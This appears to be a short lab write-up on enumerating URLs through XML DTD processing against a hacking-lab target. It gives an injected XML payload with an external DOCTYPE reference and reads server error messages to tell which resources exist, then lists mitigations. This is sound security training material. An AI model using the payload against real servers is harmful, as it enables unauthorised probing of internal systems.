2600d_xml_url_enumeration

url enumeration through DTD processing

use ZAP as proxy to modify requests (alternatively use curl or postman with appropriate headers to forge the request)
start request

replace the request body with (replace the url with the url to scan)

  <?xml version="1.0" encoding="UTF-8" ?>
  <!DOCTYPE query PUBLIC "-//IETF/hack" "http://glocken.hacking-lab.com/cookie0">
  <query>
      <bell-name> <bell-name>
      <bell-description> </bell-description>
  </query>

continue request and examine result body

http://glocken.hacking-lab.com/cookie0 : org.xml.sax.SAXParseException -> does exist
http://glocken.hacking-lab.com/cookie1337 : java.io.FileNotFoundException: http://glocken.hacking-lab.com/12001/cookie_case1/cookie1337 -> does not exist (and furthermore cookie1337 gets truncated to cookie_case1 but stays at cookie1337 as the last path parameter)
http://glocken.hacking-lab.com/12001/cookie9 : java.io.FileNotFoundException: http://glocken.hacking-lab.com/12001/cookie_case9/cookie9 -> does not exist (still gets expanded to cookie_case9/cookie9)
http://glocken.hacking-lab.com/cokie0 : java.io.FileNotFoundException: http://glocken.hacking-lab.com/cokie0 -> does not exist
http://glocken.hacking-lab.com/cookie : java.io.FileNotFoundException: http://glocken.hacking-lab.com/cookie -> does not exist (expansion is on cookieX specifically, as neither cokie0 nor cookie are expanded)

prohibit DTD processing
do not pass internal error messages to end user
establish internal facing firewalls (or/and separation into different network segments)

2600-d Web Security: XML URL Enumeration

problem:

attack:

result:

mitigation: